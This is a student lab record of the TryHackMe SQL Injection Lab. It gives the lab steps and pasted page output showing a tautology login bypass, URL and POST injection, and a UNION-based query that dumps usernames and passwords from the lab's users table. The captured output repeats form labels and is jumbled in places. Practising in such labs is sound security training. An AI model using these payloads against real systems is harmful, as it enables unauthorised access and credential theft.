

Ex. No.: 4

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SQL INJECTION LAB

Aim:

To do perform SQL Injection Lab in TryHackMe platform to exploit various vulnerabilities.

Algorithm:

1. Access the SQL Injection Lab in TryHackMe platform using the link-
<https://tryhackme.com/r/room/sqlilab>
2. Click Start AttackBox to run the instance of Kalilinux distribution.
3. Perform SQL injection attacks on the following-
 - a) Input Box Non-String
 - b) Input Box String
 - c) URL Injection
 - d) POST Injection
 - e) UPDATE Statement
4. Perform broken authentication of login forms with blind SQL injection to extract admin password
5. Perform UNION-based SQL injection and exploit the vulnerable book search function to retrieve the flag

Output:

SQL Injection 1: Input Box Non-String

Log in

'a' or 1=1 --

Log in

profile Logout SQL Injection 1: Input Box Non-String

Francois's Profile

Flag	THM{
Employee ID	10
Salary	R250
Passport Number	8605255014084
Nick Name	

Log in

Log in

Profile Logout

SQL Injection 2: Input Box String

Francois's Profile

Flag

Employee ID

Salary

Passport Number

Nick Name

E-mail

THM{

10

R250

8605255014084

Login

10.10.1.134:5000/sesqli3/login?profileID=a&password=a

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SQL Injection 3: URL Injection

The account information you provided does not exist!

Log in

Log in

Flag
Employee ID
Salary
Passport Number
Nick Name
E-mail

THM{ [REDACTED] }
10
R250
8605255014084

Log in

10



Log in

Employee ID
Salary
Passport Number
Nick Name
E-mail

10
R250
8605255014084

Login
Broken Authentication : Blind Injection
[Main Menu]

Invalid username or password.

Log in

Log in

Create an Account

' union select '-1''union select
1,group_concat(username),group_concat(password),4 from users-- -

Profile Logout
Book Title 2
Logged in as

Title: admin,dev,amanda,maja,emil,sam2
THM{ ,asd,Summer2019!,345m3io4hj3,viking123,asd
Author: 4

Result: Thus, the various exploits were performed using SQL Injection Attack.